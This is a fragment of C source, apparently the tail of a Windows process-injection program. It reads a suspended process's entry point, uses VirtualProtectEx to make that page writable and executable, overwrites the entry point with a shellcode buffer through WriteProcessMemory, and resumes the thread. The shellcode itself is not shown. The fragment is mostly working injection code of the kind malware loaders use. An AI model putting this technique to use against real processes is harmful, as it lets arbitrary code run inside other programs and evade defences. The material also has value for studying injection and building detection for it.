    printf("EP = 0x%x\n", ep_rva);

    //read code at OEP (this is just a test)
    unsigned char oep_buf[0x30];
    if (!ReadProcessMemory(pi.hProcess, (BYTE*)ImageBase + ep_rva, oep_buf, sizeof(oep_buf), &read_bytes) && read_bytes != sizeof(oep_buf))
    {
        printf("[-] ReadProcessMemory failed\n");
        return (-1);
    }
    printf("OEP dump:\n");
    hex_dump(oep_buf, sizeof(oep_buf));
    putchar('\n');

    //make a memory page containing Entry Point Writable:
    DWORD oldProtect;
    if (!VirtualProtectEx(pi.hProcess,(BYTE*)ImageBase + ep_rva, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("Virtual Protect Failed!\n");
        return (-1);
    }

    // paste the shellcode at Entry Point:
    if (!WriteProcessMemory(pi.hProcess, (BYTE*)ImageBase + ep_rva, g_Shellcode, sizeof(g_Shellcode), &read_bytes) && read_bytes != sizeof(g_Shellcode))
    {
        printf("[-] WriteProcessMemory failed\n");
        return (-1);
    }

    // patching done, resume thread:
    printf("Resuming thread...\n");
    ResumeThread(pi.hThread);

    system("pause");
    return (0);
}